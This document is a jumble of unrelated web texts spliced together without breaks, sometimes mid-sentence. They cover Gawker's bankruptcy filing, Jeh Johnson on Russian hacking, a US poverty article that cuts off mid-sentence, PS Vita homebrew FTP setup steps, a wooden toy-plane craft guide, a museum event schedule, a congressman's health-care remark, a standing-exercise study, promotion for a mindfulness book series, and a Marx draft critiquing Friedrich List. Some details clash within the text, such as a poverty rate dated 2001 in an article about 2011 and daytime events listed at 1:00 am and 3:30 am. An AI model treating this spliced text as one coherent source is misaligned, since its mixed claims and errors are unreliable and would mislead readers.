In his own affidavit, Denton said that he personally owned about 45 million of Gawker Media Group’s 152 million shares, giving him a 29.52 percent stake in the company. (His family also has a stake in the company through a trust.)
He also disclosed his other assets: a Manhattan condo valued at $4.2 million which he took out a $2 million mortgage on and is now trying to rent and $150,000 or so in personal bank accounts and retirement accounts.
A confidential report on Denton's net worth prepared in December stated that he owned 5,000 shares of Vox Media. Denton was an early investor in Curbed, which was founded by former Gawker editor Lockhart Steele. When Vox acquired Curbed in 2013, Denton’s stake in Curbed became a stake in Vox. At the time of the acquisition, Denton’s stake in Vox was valued at $150,000, though it’s likely worth much more now.
In his affidavit, Denton offered to pledge his entire stake in the company as security for the appeal if the stay was granted.
“As security for the appeal in the above-captioned matter, I am willing to pledge the entirety of my interest in [Gawker Media Group]. I respectfully request that the court deem that full ownership interest to be adequate security to stay the judgment pending appeal,” he wrote.
Campbell did grant Gawker a stay, but only under conditions that Gawker described as “onerous.” A person close to Gawker said that the conditions of the stay would have given Hogan a lien on all of Gawker's assets, allowing him to begin seizing the assets, and would have prohibited Gawker from using cash to fund its operations.
In response, Gawker decided to file for Chapter 11 bankruptcy protection to prevent Hogan from seizing its assets.
According to staff at the company, employees were taken by surprise at Friday’s news about the bankruptcy filing and about Ziff Davis’s interest in acquiring the company.
“Everyone knew this was one potential outcome but I don’t know that anyone was expecting the announcement today,” one staffer told POLITICO.
“We feel how you would expect us to feel,” another staffer said.
A number of Gawker Media properties — Gawker.com, Deadspin, Jezebel, Gizmodo — published notes to their readers explaining that the sites would continue operating as usual while the company went through bankruptcy.
“In the long run, we’re all dead; until then, we’ll be doing the sort of thing we usually do, and you can do so too,” Deadspin editor Tim Marchman wrote.
Responses to the news from former Gawker employees were mixed.
“Congratulations to the unexceptional men who took a vibrant company that a lot of people worked hard to build and flew it into the ground,” tweeted Anna Holmes, the founding editor of Jezebel who has since left Gawker.
“I loved working at Gawker. I love the people I met working at Gawker. This is awful," tweeted Leslie Horn, a former editor at Deadspin and Gizmodo.
"[That feeling when] you realize buying Gawker stock instead of paying your student loans was a tragic mistake," tweeted James Del, Gawker's former advertising director.
Additional reporting by Kelsey SuttonOutgoing Secretary of Homeland Security Jeh Johnson on Wednesday laid blame at his feet and that of President Barack Obama and the entire intelligence community for the security failure that allowed Russia hacking.
"Ultimately it's all of us — the president ultimately has responsibility," Johnson said in the prime-time interview on MSNBC. "The Department of Homeland Security has responsibility. The IC [Intelligence Community], of course, it's on all of us, certainly those of us in the Cabinet."
Without taking the tack of blaming the media, Johnson was matter-of-fact how the administration's warning to the world on Oct. 7 was quickly overshadowed by another bright, shiny object that day.
Making the "unprecedented statement" that Russia had hacked and was trying to influence the country's elections couldn't compete with the 11-year-old "Access Hollywood" tape of then GOP nominee Donald Trump making lewd comments about women that surfaced the same day, Johnson said.
"That was a big deal — a foreign superpower interfering with our political process," Johnson said. "The statement was below-the-fold news that day.
"But we thought it was critical that we tell the American people and the American voters what we saw and that we have to declassify what we saw to the full extent possible," Johnson said.
Johnson also defended the decision to not name Russia president Vladimir Putin as being directly responsible for the hacks and meddling.
"It's a less provocative way of saying the same thing," Johnson said.Nearly 50 million living in poverty in US
By Kate Randall
16 November 2012
The number of people living in poverty in the United States rose last year to 49.7 million, based on a new measure that provides a fuller picture of poverty than that previously reported by U.S. Census Bureau data. The revised poverty rate of 16.1 percent is up more than a percentage point from the 15 percent figure reported by the government in September.
Coming a little more than a week after the 2012 elections, the news that nearly one in six Americans is living in poverty received little attention in the media or from the Obama administration. Neither big-business party has any policies to alleviate growing poverty, which is exacerbated by entrenched unemployment and a sluggish economy.
The Supplemental Poverty Measure (SPM), devised a year ago, factors in expenses for food, clothing, shelter, utilities, health care and other essentials beyond what the previous official formula took into account. It includes in its income measure such government-provided benefits as Social Security, unemployment benefits and nutrition assistance.
The SPM figures released by the Census Bureau on Thursday show that while some households may have incomes above the poverty line, factors such as medical expenses are pushing increasing numbers into poverty. The new figures also indicate that the tepid job growth in the more than four years since the financial crisis has come mostly in the form of low-wage jobs that in many cases are not able to lift families out of poverty.
More than 15 percent of working-age adults, aged 18-64, lived in poverty in 2011. Among those with some form of employment, 9.4 percent fell below the poverty line. Those working less than full-time, year-round, saw an 18.5 percent poverty rate. A third of those working less than one week in the course of the year—16.2 million, or 33.5 percent—lived in poverty last year.
Based on the SPM, the poverty rates were dramatically higher for several segments of the population. The share of people 65 years and older living in poverty was 15.1 percent, nearly double the 8.7 percent figure according to the official measure. The single biggest economic burden on seniors is medical expenses that must be paid out of pocket.
The poverty rate among Hispanics stood at 28 percent in 2001 using the SPM, significantly higher than the 25.4 percent rate using the older measure. This difference is attributed to limited access by immigrants to government programs, as well as the concentration of Hispanics in regions of the country that have seen big cutbacks to government programs.
According to the new measurement, more than a quarter of all African-American households were living in poverty in 2011. Poverty in households headed by a single female stood at 30 percent. Among households renting their homes, 29.3 percent were poor.
Also hard-hit are people living in urban areas where living expenses are higher and assistance from government programs has not kept pace with growing need. Under the newly devised standard, California saw the highest poverty rate of any state. A staggering 8.8 million people—23.5 percent—of Californians are living in poverty, a figure largely driven by the state’s high cost of living and sharp budget cuts to social programs.
Following closely behind California is the nation’s capital, Washington, D.C., where 23.2 percent lived in poverty last year according to the SPM. The next most impoverished state was Florida, at 19.5 percent.
Use of the new census measurement also showed a significant shift in poverty among the various regions of the country. In the West, 20 percent of households were living in poverty in 2011, compared to 16 percent in the South, the region of the country historically more impoverished. This is undoubtedly largely influenced by factors such as the assault on social programs in California and the collapse of the housing market in Nevada.
The new Census measurement also reveals that Social Security is by far the most important program contributing to a reduction in poverty. According to the SPM, when calculating the effects of benefits and expenses on overall poverty rates in the American population, poverty was reduced by more than 8 percent due to Social Security benefits, while medical expenses increased poverty by about 3.5 percent.
The SNAP food stamp program and unemployment insurance benefits also provide significant protection against poverty. But it is |
Download FTPVita.elf
2) Next up you will need to have Rejuvenate installed and working.
– How to set up and run the Vita hack “Rejuvenate”
– PSM+
3) Like with the hello_world.elf sample you will need to drag and drop the FTPVita.elf onto the run_homebrew.bat
4) You will see the CMD doing its magic..
..and if everything worked like it should, you will see the Hombrew popping up on your Vita:
5) Now you need any FTP program like FileZilla for example and enter the IP and port to connect
6) And there we go! The dev assistant’s file sytem (cache0:/)!
Open up VitaDefilerClient and your files should go to Documents
You can even create subfolders in there, like “GameBoy Roms” or whatever you like!
(Savegames of RealBoy will be stored in cache0:/VitaDefilerClient/Documents/realboy/saves)
For more Homebrews visit the Homebrew Collection over at the vitadevwiki.com
Catch me on twitter: @freakler94Cut
Measure and mark your cuts on each piece of wood. Be precise and remember to do this to ALL pieces before cutting. Think Assembly Line… Cut all wood pieces at the same time. I am using a scroll saw to make all of my cuts. If you are using a bandsaw or miter saw, you'll save even more time.
The body has the most cuts. Look at the template to follow along - Cut a 9" peice. Make a diagonal line that is 2" from the top on one side and 2" from the bottom on the other. Cut along this line. You now have 2 peices to work with. Cut off the small triangle and then rip off the the bottom.
Sand
Same method… Do all before moving on.
Paint
I’m using red, green, gold, silver and black. I am painting the wing red, body and aileron green, struts, axel, prop nose will be gold. Prop will be silver. SO.. everything of the same color gets painted at the same time.
I found and easy way to get the sides of each piece to paint. Using a clamp, I get all of one piece together and clamp. Then you can easily paint all the sides easily without any mess.
After finishing the painting, we added a small Christmas message to the underside of the bottom wing. We kept it tight on the top and bottom to stay away from the wheel to be added later.The 7th Annual Northwest Native Celebration highlights the vitality and resilience of Northwest Native artists and communities through contemporary and traditional Native culture and art. See visual and performance art, participate in hands-on activities, listen to spoken word and storytelling, get inspired with a runway fashion show, and connect with artists at the art market. Visitors are also welcome to view TAM’s exhibitions, including the special exhibition Edvard Munch and the Sea.
Cost: Free
Northwest Native Fashion Designers
We are pleased to announce the four chosen designers for the Northwest Native Fashion Show!
Hair and makeup provided by London’s
Arae Form – Britt Rynearson
Edzerza Designs – Alano Edzerza
MEKA – Mary Kelsay
Transcendence – Lisa Fruichantie
Vendors
Collaborative Sculpture
All day in the TAM Studio
Inspired by Marie Watt’s iconic Blanket Stories sculpture, visitors will create a personalized piece to add to a collaborative sculpture that will grow and evolve throughout the day.
Books and Looks
See schedule below for times and topics
Native authors meet Native artists in this interactive storytime in the galleries. Join an engaging reading and discussion of a children’s book by a Native author, related to a work of contemporary Native art.
Schedule of Events
10:30 am – Blessing by the Puyallup Canoe Family
11:00 am – Books and Looks: Shi-shi-etko, Written by Nicola I. Campbell, Illustrated by Kim LaFave
12:00 pm – Spoken Word and Storytelling featuring Sara Ortiz, Nahaan, and more.
1:00 am – Books and Looks: Greet the Dawn: The Lakota Way, Written and Illustrated by S.D. Nelson
3:00 pm – Northwest Native Fashion Show
3:30 am – Books and Looks: Dragonfly Kites, Written by Tomson Highway, Illustrated by Julie Flett
Check back soon for additional scheduled events!
Northwest Native Celebration is generously supported by Tacoma Arts Commission and presented in partnership with Potlatch Fund.
Seasonal support provided by Artsfund.
Generous support provided by Brent and Connie McKinley.WASHINGTON ― Rep. Raul Labrador (R-Idaho) told his constituents on Friday that “nobody dies because they don’t have access to health care,” in what may have been one of the least true political statements of all time.
Georgeanne Koehler has devoted dozens of hours to telling anyone who would listen about how her brother died. Billy Koehler’s death, from cardiac arrest after his implanted defibrillator ran out of batteries, is a testament to how someone can perish from lack of access to health care.
Over the past several years Koehler repeatedly traveled to Washington to tell lawmakers about her brother. She even testified before the House Education and Workforce Committee in 2012, explaining that he had arrhythmia and lost his health insurance when he got laid off in 2003.
“He called every health insurance company in Pittsburgh in hopes of buying a private plan, but the answer was always the same: ‘denied due to his pre-existing condition,’” Koehler said in her written testimony.
Billy Koehler eventually got a job delivering pizzas, but the position didn’t offer health insurance. When his implanted defibrillator’s battery ran low, Koehler couldn’t afford the thousands of dollars a replacement would cost. He died on his way home from work in March 2009.
“He drove two blocks, came to a stop sign, put his car in park, and slumped into his steering wheel,” Georgeanne Koehler testified.
One study in the American Journal of Public Health estimated in 2009 that as many as 45,000 people died every year for want of health insurance.
When Labrador and other Republicans in the House of Representatives voted last week to repeal the Affordable Care Act, a law designed to make the insurance market more humane, Billy Koehler was there ― in portrait form. An artist named Theresa “Pussi Artist” BrownGold painted Billy Koehler as part of a project documenting the lives of people who’ve struggled with the vagaries of the health care system.
“I just think that people’s stories illustrate what’s really happening, as opposed to the rhetoric that we hear on these Sunday morning talk shows,” BrownGold said in an interview.
Labrador, for his part, said Saturday that he didn’t mean what he said. (You can see the full exchange here.)
“I was responding to a false notion that the Republican health care plan will cause people to die in the streets, which I completely reject,” Labrador said in a statement to the Washington Post. “In a lengthy exchange with a constituent, I explained to her that Obamacare has failed the vast majority of Americans. In the five-second clip that the media is focusing on, I was trying to explain that all hospitals are required by law to treat patients in need to emergency care regardless of their ability to pay and that the Republican plan does not change that.”
Koehler, 70, is retired and lives in Pittsburgh. She’s glad people remember her brother but wishes the health care debate could end.You already know that standing can reduce some of the harmful effects of too much sitting.
But according to a recent study, you’ll get a bigger health boost if you focus not only on the number of hours you spend standing but on the number of times you stand up, as well. This study was conducted by University of Glasgow in UK.
Think of it as standing interval training
Men in the study burned more calories and fat when they stood up more frequently throughout an eight-hour period (for 90 seconds at a time), than when they stood for longer blocks (15 minutes at a time)—even though the total time they spent standing was the same.
This is because transition requires muscle activation and energy expenditure. Rising from a seated position and lowering your body weight back down repeatedly takes more effort and expends more energy than does continuously standing stationary.
Over four weeks, this could translate to a weight loss of 2.2 kg if you change your position every minute and half.
It’s tough and can affect your productivity. But try doing as much as you can.
You are in effect adding squats to your standing routine.Alchemy of Love Mindfulness Training Series of Books
AoL is a series of 9 fiction and non-fiction books written by a group of spiritual researchers of 7 authors and published by Artof4Elements.
Consciousness Research
Artof4Elements has launched the AoL Series of 9 fiction and non-fiction books with 7 Authors, focusing on consciousness research, using applied psychology tools from all over the world, researching spiritual growth tools from East and West, creativity tools and mindfulness. A series of many genres, including poetry, personal development courses, historical fiction, the world of ''AoL'' explores numerous personal improvement themes.
Using a variety of transformation tools from other disciplines such as sociology, quantum physics, philosophy to helping people identify and achieve personal goals, AoL is a spiritual not religious endeavor that uses lifestyle-coaching exercises from various philosophers, gurus and sages of our past and present. In an interview with Joyce Strand What Experts Say Nataša Pantović Nuit says:
Believing that we are all innately divine the ''Alchemy of Love Mindfulness Training'' explores the alchemy of the soul: the preparation, transformation and initiation process as an underlining method of personal development and growth.
Nataša Pantović Nuit
Nataša Pantović Nuit Amazon Author, Open Library Author, Librarything Author, Publisher Website About Nuit is a Maltese Serbian author, spiritual researcher and trainer, whose work focuses on mindfulness, alchemy, conscious parenting, and self-development. Born in 1968, in Belgrade, Serbia, BSc in Economics, she worked for many years in Marketing and Management Consultancy within the Office of Prime Minister of Malta, and within KPMG Crimsonwing (Malta and UK). In 1991 published her first book: Contracts for Companies and Individuals in Serbia with Dr. Miomir Pantović. In 2012 Nataša started the Alchemy of Love Mindfulness Project and until 2017 published 9 Books and courses.
Artof4Elements
Artof4Elements Publisher of Alchemy of Love Mindfulness Training is a Mindfulness Training and self-help Publisher that has launched a Series called ''Alchemy of Love Mindfulness Training''. The main interest is in areas of Mindfulness, Meditation, Self-Help, New Thought, Alternative Health, Vegetarian and Vegan Food and Nutrition, and Conscious Parenting. Artof4Elements published authors are: Nataša Pantović, Olivera Rosič. Mirjana Musulin, Christine Cutajar, Jeni Caruana, Jason Lu and Ivana Milosavljević.
Mindfulness
Variety of religious and spiritual movements, such as Yoga, New Age and the New Thought movement use mindfulness meditation for spiritual growth and development. From the point of view of psychology, meditation can induce an altered state of consciousness.
''AoL Mindfulness'' Books use a variety of spiritual and self-development tools: mindfulness exercises, personality questionnaires, setting true personal goals, inner exploration through writing and drawing, use of mandalas, tree of life, spiritual diary, relationship contracts, flower of beliefs, etc. Featured Authors Nataša Pantović Nuit
Spiritual Tools and Power of Mind
[[Meditation]] is today a focus of increasing scientific research and over 1,000 research studies are published linking meditation to a variety of health benefits, Stress reduction, improvement of academic performance, sustained attention, increasing the one’s self control, and love.
AoL offers tools that explore the power of mind, creativity, consciousness, mindfulness, unconditional love. Through poetry, mindfulness non fiction books, courses work on developing the qualities of both heart and intellect, exploring virtues or ethical values yamas, rules niyamas, inspiring the inner growth. A spectrum of mystical exercises enhances both cognitive and emotional development and enhance Divergent Thinking
The series by Nataša Pantović Nuit is inspired by [[yin]] and [[yang]], by mythology, [[alchemy]], and within the parenting world by simplicity parenting, and alternative teaching educational models. Read more in Education of the Future
Through the use of spiritual and self-development tools, the researcher goal is to achieve good physical, mental and emotional health. Within parenting, the goal is to promote: unobstructed learning from nature Human Beings need to go out to be in nature, Creating Freedom in the Learning Environment
Themes
According to Nuit, a major theme in the series is mindfulness and self development Nuit talks to Buzzfeed about Mindfulness
"Self-development is a way of Life. Our Self-Development never ends. We are never too young or too old for personal growth. We have an amazing potential to reach our highest potential, to have truly inspiring careers and loving relationships. Unfortunately, often we walk through our lives asleep, we let our habits rule us, and find it difficult to change our beliefs. Recognizing the power of our Mind and the power of our Soul, learning the art of Concentration and Love, we are learning to Live with the Flow, not against it. It is in our nature to learn and grow. For happiness we need to learn to Love, we need to learn to Concentrate and we should keep the flow and energy of inspiration within our lives." Nataša Pantović Mindfulness Self-Development Quotes
Main themes Mindfulness Training Main Themes covered within the books are:
The fifth book, ''Conscious Parenting'' main theme is within the concept of Simplicity Parenting and it was inspired by the Waldorf education, Alternative education and the teaching practices that focus on practical, hands-on activities and creative play with "no punishment" holistic approach. {{cite news|url=|title=Do reward and punishment work and it explores creativity and the use of art as a self-development tool for parents and children. To read more check:.Arts make students smart
''Conscious Parenting'' was featured first in Malta within the series of educational articles that were promoting alternative educational models. To read more please check: Will we learn from Finland
Key practices and Concepts
Mindful Being and Conscious Parenting Courses are 12 Modules Courses, examining body, nutrition, home environment, relationship with Earth, the "Eco" habits, behavior patterns, examining subconscious mind and conscious thoughts, exploring emotions, training mind powers through meditation and the willpower exercises, work with mandalas, mantras, improving relationships, looking into goals, dreams, and building the personal development plans. Check our slides on: Mindfulness Training on Slideshare
The AoL books and courses encourage readers to adopt healthy vegetarian or vegan diets that have the least ecological foot-print, to avoid using plastic, to spend time in nature, grow own vegetables adopting a sustainable life-style, to work with habits that empower the physical body: the choice of healthy nutrition, and regular exercise regime together with the mind training.
The daily routine includes practices of concentration and meditation, practicing love to improve the ability to connect with oneself and others, The non-fiction books encourage creative intelligence, creative thinking, and exploring tools of mindful living.
alchemy-of-love-mindfulness-training-mindful-being-16-intro-content-smaller.pdf
Mindful Living Courses Self Improvement Training Mission Key Practices and Concepts Pdf Publisher = Artof4Elements
Publishing
The titles of the Alchemy of Love Mindfulness Training Series include:
1.
Art of 4 Elements Spiritual Poetry Book
The spiritual poetry and art book with 120 poems written by Nuit. These acted as an inspiration for the work of 3 other artists. The book explores alchemy and 4 elements, 4 stages of life, 4 magic directions ISBN: 978-99957-54-00-6 Spiritual Poetry Book, Alchemy of Love Mindfulness Training #1, Year: 2014, by Nataša Pantović Nuit, Jason Lu, Christine Cutajar, Jeni Caruana, Publisher: Artof4Elements.
Art of 4 Elements Spiritual Poetry Book Launch, Interviews on the Publisher Website Art of 4 Elements Spiritual Poetry Book Feature on Metaphysics for Better Living Art of 4 Elements Spiritual Poetry Book Blog Reviews Videos on Goodreads Google Preview and Reviews of Art of 4 Elements
2. A Guide to Mindful Eating Book
with 45 Veggie Recipes, Alchemy of Love Mindfulness Training #2, Year: 2014, Mirjana Musulin and Nuit, Publisher: Artof4elements. A collection of Mindful Eating Exercises and recipes that help the reader examine the eating habits and patterns within every day’s life. Vegetarian cooking book with mindfulness exercises. ISBN: 978-99957-54-06-8A Guide to Mindful Eating
3. Mindful Eating with Delicious Raw Vegan Recipes Mindful Eating with Delicious Raw Vegan Recipes Google Preview and Reviews
,
Mindful Eating with Delicious Vegan Recipes Reviews Articles Blog on Goodreads,
Alchemy of Love Mindfulness Training #3, Year: 2015, by Olivera Rosić and Nuit, Publisher: Artof4elements. Mindful Eating book is designed with the best Alchemy of Love Mindful Eating Exercises and a collection of Delicious Raw Vegan Recipes. Mindful Eating Exercises help with over-eating, eating too often, eating too little, eating junk food, food allergies, etc. Vegan cooking book. ISBN: 978-99957-54-02-0
4. Mindful Being Course
Mindful Being Course Google Preview and Reviews
Mindful Being Book on Publisher Website Mindful Being Blog Reviews Interviews on Goodreads
Alchemy of Love Mindfulness Training #4, Year: 2015, by Nataša Pantović Nuit, Publisher: Artof4elements. Mindful Being is a 12 Modules Course full of self-development and mindfulness exercises that combine meditation, mindful living exercises, soul’s diary, spiritual diary, relationship contracts, and many other daily spiritual transformation tools to help the reader live the highest potential. The Mindful Being examines: Nutrition, Core Beliefs, Emotions, Mind Power offering 100s of self-development tools to increase Mindfulness, Creative Thinking, Joy and Love. ISBN: 978-99957-54-03-7
5, Conscious Parenting Course
Conscious Parenting Alchemy of Love Mindfulness Training Website
Conscious Parenting Book Google Previews and reviews
Conscious Parenting Course Reviews Blog and Articles on Goodreads
by Nataša Pantović Nuit and Ivana Milosavljevć (MD in Special Needs Education), Year: 2015, Publisher: Artof4elements. Conscious Parenting Course is a Mindful Living Training designed for parents with mindfulness exercises and various creativity tools. Inspired by Waldorf educational model, Finland educational system with personal-development tools to look into parenting goals, dreams and priorities. ISBN: 978-99957-54-04-4
6, Chanting Mantas with Best Chords
Chanting Mantras Google Preview and Reviews
Chanting Mantras with Best Chords
by Nataša Pantović Nuit, Alchemy of Love Mindfulness Training #6, Year: 2016, Publisher: Artof4elements. This guide is a perfect chanting mantras manual designed to help within the mantras meditation journey. With more than 50 mantras from all around the world, their spiritual meanings, lyrics and chords, it explores: Hindu Sacred Mantras; Buddhist Mantras; Sufi Chants; New-Consciousness Mantras in English. ISBN: 978-99957-54-15-0
7, Conscious Creativity Mindfulness Meditations Book
by Nataša Pantović Nuit, Alchemy of Love Mindfulness Training #7, Year: 2017, Publisher: Artof4elements. ISBN: 978-9995754112
8, Tree of Life Novel with Spiritual Poetry
Tree of Life Book Reviews Blog and Articles on Goodreads
by Nataša Pantović Nuit, Alchemy of Love Mindfulness Training #9, Year: 2017, Publisher: Artof4elements.
Tree of Life is a journey through many true life stories interwoven into the make-up of our souls’ journey within the planet Earth. Starting with Maya of Power, and a visit to the Field of Dreams, discovery of the Alchemy of Soul, deeper understanding of “Ubuntu” that: a person is only a person through their relationship to others, ascending and descending the magic Spiral to enter Wu Wei, the action with no action, the Path of Divine Intentions.
Tree of Life in various religious interpretations, within myths, and as a mystical concept represents the inter-connectedness of all life on our beautiful planet. The Tree of Life is considered to be the symbol of 'Creator'. The book is a spiritual exploration of four elements, four directions, four stages of Life. ISBN: 978-9995754136
9, A-Ma Alchemy of LoveAma Alchemy of Love Spiritual Historical Fiction Book Reviews Articles Blog on Goodreads
Spiritual Novel by Nataša Pantović Nuit, Year: 2016, Publisher: Artof4Elements. A-Ma is a historical spiritual fiction book set in the 17th century Macao, China. The main protagonist is Ama, an African alchemist, Goddess, a guru, a lover, a story-teller that inspires and gathers artists, preachers, priests, philosophers from all around the world within the magic settings of her coffee house. ISBN-13: 978-9995754198
All the events and manuscripts mentioned within the book: the Dutch attack to Macao 24th of June 1622 [[Fortaleza do Monte]] proved crucial in successfully holding off the attempted Dutch invasion, [[Dutch East India Company]], the Reform of the Chinese Calendar during 1630s in [[China]], Father Schall’s [[Johann Adam Schall von Bell]] Appointment to the Chinese Board of Mathematicians (during 1650s), [[Witch hunt]], and Witches Manual, [[Chinese culture]], etc, are carefully researched historical facts. During the 17th century, some 5,000 slaves lived in Macau, around 2,000 Portuguese and 20,000 Chinese. The book uses history to create the connection between actions of the individuals that live surrounded by magic. Ama is born in [[A-Ma Temple]] in [[Macau]]. A-Ma takes us on an exploration journey discovering the secrets of the bond we all have created during the millions of life-times on Earth, the bond of consciousness and suffering.
Through Ruben, a Portuguese [[Jesuit]] Priest who came to China to convert the Chinese into Christians, and through Ama and her family, friends, followers and enemies, we enter into the insights and challenges of the time they lived in, we join their attempts to learn from both the Eastern and Western philosophy, and we witness their personal alchemy inner transformation.
Ama Alchemy of Love Spiritual Historical Fiction A Glimpse into Ama 12 Chapters
Working with Short and Long Term Goals, understanding the True Values that surround us we hope to help you experience a Journey that is full of Learning, Love and Laughter and to inspire you to take concrete actions to be more Mindful, Aware and Conscious.Works of Karl Marx
Draft of an Article on Friedrich List’s book: Das Nationale System der Politischen Oekonomie [96]
Source: MECW Volume 4, p. 265;
Written: in March 1845;
First published: in Russian in Voprosy Istorii K.P.S.S. No. 12, 1971.
I. General Characterisation of List
... [2] that awareness of the death of the bourgeoisie has already penetrated the consciousness even of the German bourgeois, so the German bourgeois is naive enough himself to admit this “sad fact”.
“For this reason also it is so sad that the evils which in our day accompany industry are advanced as a reason for rejecting industry itself. There exist far greater evils than a social estate [Stand] of proletarians: an empty exchequer — national impotence — national slavery — national death” (p. lxvii).
It is truly sadder that the proletariat already exists and already advances claims, and already inspires fear, before the German bourgeois has yet achieved the development of industry. As far as the proletarian himself is concerned, he will certainly find his social situation [Stand] a happy one when the ruling bourgeoisie has a full exchequer and national might. Herr List only speaks about what is sadder for the bourgeois. And we admit that for him it is very sad that he wants to establish the domination of industry precisely at the unsuitable moment when the slavery of the majority resulting from this domination has become a generally known fact. The German bourgeois is the knight of the rueful countenance, who wanted to introduce knight-errantry just when the police and money had come to the fore.
3. A great inconvenience (obstacle)[97] affecting the German bourgeois in his striving for industrial wealth is his idealism professed hitherto. How is it that this nation. of the “spirit” suddenly comes to find the supreme blessings of mankind in calico, knitting yarn, the self-acting mule, in a mass of factory slaves, in the materialism of machinery, in the full money-bags of Messrs. the factory-owners? The empty, shallow, sentimental idealism of the German bourgeois, beneath which lies hidden (is concealed) the pettiest, dirtiest and most cowardly shopkeeper’s spirit (soul), has arrived ‘at the epoch when this bourgeois is inevitably compelled to divulge his secret. But again he divulges it in a truly German, high-flown manner. He divulges it with an idealistic-Christian sense of shame. He disavows wealth while striving for it. He clothes spiritless materialism in an idealistic disguise and only then ventures to pursue it.
The whole theoretical part of List’s system is nothing but a [There are three illegible words in the manuscript here, apparently meaning “fallen in front of him"] disguising of the industrial materialism of frank political economy in idealistic phrases. Everywhere he allows the thing to remain in existence but idealises the expression of it. We shall trace this in detail. It is just this empty idealistic phraseology that enables him to ignore the real barriers standing in the way of his pious wishes and to indulge in the most absurd fantasies (what would have become of the English and French bourgeoisie if it had first to ask a high-ranking nobility, an esteemed bureaucracy and the ancient ruling dynasties for permission to give “industry” the “force of law"?).
The German bourgeois is religious even when he is an industrialist. He shrinks from speaking about the nasty exchange values which he covets and speaks about productive forces [von produktivkräften]; he shrinks from speaking about competition and speaks of a national confederation of national productive forces; he shrinks from speaking of his private interest and speaks about the national interest. When one looks at the frank, classic cynicism with which the English and French bourgeoisie, as represented by its first — at least at the beginning of its domination — scientific spokesmen of political economy, elevated wealth into a god and ruthlessly sacrificed everything else to it, to this Moloch, in science as well, and when, on the other hand, one looks at the idealising, phrase-mongering, bombastic manner of Herr List, who in the midst of political economy despises the wealth of “righteous men” and knows loftier aims, one is bound to find it “also sad” that the present day is no longer a day for wealth.
Herr List always speaks in Molossus metre [98]. He continually shows off in a clumsy and verbose rhetoric, the troubled waters of which always drive him in the end on to a sandbank, and the essence of which consists of constant repetitions about protective tariffs and true German ["teutsche"] factories. He is continually sensuously super-sensuous.
The German idealising philistine who wants to become wealthy must, of course, first create for himself a new theory of wealth, one which makes wealth worthy of his striving for it. The bourgeois in France and England see the approach of the storm which will destroy in practice the real life of what has hitherto been called wealth, but the German bourgeois, who has not yet arrived at this inferior wealth, tries to give a new, “spiritualistic” interpretation of it. He creates for himself an “idealising” political economy, which has nothing in common with profane French and English political economy, in order to justify to himself and the world that he, too, wants to become wealthy. The German bourgeois begins his creation of wealth with the creation of a highflown hypocritically idealising political economy.
4.[99] How Herr List interprets history and what attitude he adopts towards Smith and his school.
Humble as is Herr List’s attitude to the nobility, the ancient ruling dynasties and the bureaucracy, he is to the same degree,audacious” in opposing French and English political economy, of which Smith is the protagonist, and which has cynically betrayed the secret of “wealth” and made impossible all illusions about its nature, tendency and movement. Herr List lumps them all together by calling them “the School”. For since the German -bourgeois is concerned with protective tariffs, the whole development of political economy since Smith has, of course, no meaning for him, because all its most outstanding representatives presuppose the present-day bourgeois society of competition and free trade.
The German philistine here reveals his “national” character in many ways.
1) In the whole of political economy, he sees only systems concocted in academic study rooms. That the development of a science such as political economy is connected with the real movement of society, or is only its theoretical [3] expression, Herr List, of course, does not suspect. A German theoretician.
2) Since his own work (theory) conceals a secret aim, he suspects secret aims everywhere.
Being a true German philistine, Herr List, instead of studying real history, looks for the secret, bad aims of individuals, and, owing to his cunning, he is very well able to discover them (puzzle them out). He makes great discoveries, such as that Adam Smit wanted to deceive the world by his theory, and that the whole world let itself be deceived by him until the great Herr List woke it from its dream, rather in the way that a certain Düsseldorf Counsellor of justice made out that Roman history had been invented by medieval monks in order to justify the domination of Rome.
But just as the German bourgeois knows no better way of opposing his enemy than by casting a moral slur on him, casting aspersions on his frame of mind, and seeking bad motives for his actions, in short, by bringing him into bad repute and making him personally an object of suspicion, so Herr List also casts aspersions on the English and French economists, and retails gossip about them. And just as the German philistine does not disdain the pettiest profit-making and swindling in trade, so Herr List does not disdain to juggle with words from the quotations he gives in order to make them profitable. He does not disdain to stick the trade-mark of his rival on to his own bad products, in order to bring his rival’s products into disrepute by falsifying them, or even to invent downright lies about his competitor in order to discredit him.
We shall give a few samples of Herr List’s mode of procedure.
It is well known that the German priests believed they could inflict no more deadly blow on the Enlightenment than by telling us the stupid anecdote and lie that on his death-bed Voltaire had renounced his views. Herr List, too, takes us to Adam Smith’s death-bed and informs us that it turned out that Smith had not been sincere in his teaching. However, listen to Herr List himself and his further verdict on Smith. We put alongside List’s words the source of his wisdom.
List: [National System of Political Economy, Vol. I: International Trade, Trade Policy and the German Customs Union. Stuttgart and Tübingen, 1841] “I recalled from the biography by Dugald Stewart how this great mind [Adam Smith] could not die in peace before all his manuscripts had been burned, by which I wanted to make it understood how serious is the suspicion that these papers contained proofs against his sincerity” (p. LViii). “I showed that the English Ministers [...] made use of his theory in order to throw dust into the eyes of other nations for the benefit of England” (loc. cit.). “As regards its relation to national and international conditions, Adam Smith’s theory is a mere continuation of the physiocratic system. Like the latter, it ignores the nature of the nations [...] and presupposes eternal peace and universal union as already in existence” (p. 475). Ferrier, F.L.A., Du gouvernement considéré dans ses rapports avec le commerce, Paris, 1805: “Is it possible that Smith was sincere in heaping up so many false arguments in favour of free trade?... Smith had as his secret aim to spread in Europe principles the adoption of which he knew very well would give his country the world market” (pp. 385, 386). “One is even justified in assuming that Smith did not always propound one and the same doctrine; and how otherwise is one to explain the torment he suffered on his death-bed because of the fear that the manuscripts of his lectures would survive him” (p. 386). He [Ferrier] loc. cit. (p. 388) reproaches Smith for having been a commissaire des douanes. [Customs officer] “Smith almost always argued like the economists” (physiocrats), “without taking into account the divergence between the interests of the different nations, and on the assumption of a situation where there would be only one society in the world” (p. 381). “Let us set aside all these projects of union” (p. 15). (Monsieur Ferrier was an inspecteur des douanes [Customs inspector] under Napoleon and loved his profession.)
J.-B. Say’s political economy is interpreted by Herr List as an unsuccessful speculation. We shall give below in full his categorical verdict on the life of Say. But before doing so, one more example of the way in which List copies from other authors and in copying falsifies them in order to hit at his opponents.
